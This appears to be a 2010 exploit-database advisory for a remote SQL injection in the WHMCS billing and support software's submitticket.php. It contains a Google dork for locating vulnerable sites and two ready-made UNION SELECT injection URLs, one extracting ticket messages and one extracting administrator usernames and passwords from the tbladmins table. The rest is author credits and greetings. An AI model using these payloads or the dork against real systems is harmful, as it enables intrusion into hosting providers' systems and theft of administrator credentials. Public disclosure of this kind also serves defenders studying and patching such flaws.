[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : WHMCS control (WHMCompleteSolution) Sql Injection
# Published : 2010-04-24
# Author : Islam DefenDers
# Previous Title : XSS and Authentication bypass in NCT Jobs Portal Script
# Next Title : AskMe Pro 2.1 (que_id) SQL Injection Vulnerability
#=Info=======================================================================#
# Software: WHMCS control (WHMCompleteSolution) Sql Injection #
# #
# Vulnerability: Remote Sql Injection #
# Google Dork: Powered by WHMCompleteSolution - or " inurl:WHMCS #
# Off. site: www.MiXaTy.com #
#============================================================================#
#=Author==============================================#
# Author: Islam DefenDers #
# Date: 24.04.2010 #
# Contact: email: hackereg@hotmail.com #
#====================================================#
#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20
# DOWNLOAD : http://www.whmcs.com/
# Live demo: http://ste/support/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20
#=========================================================================================================================================================================#
#=Greetz==================================#
# IsLam DefenDers Mr.HaMaDa #
#=======================================#
HaMaDa SCoOoRPioN - DR.B@HY - MiXaTy TeaM - Islam DefenDers TeaM
site: www.mixaty.com
E: hackereg@hotmail.com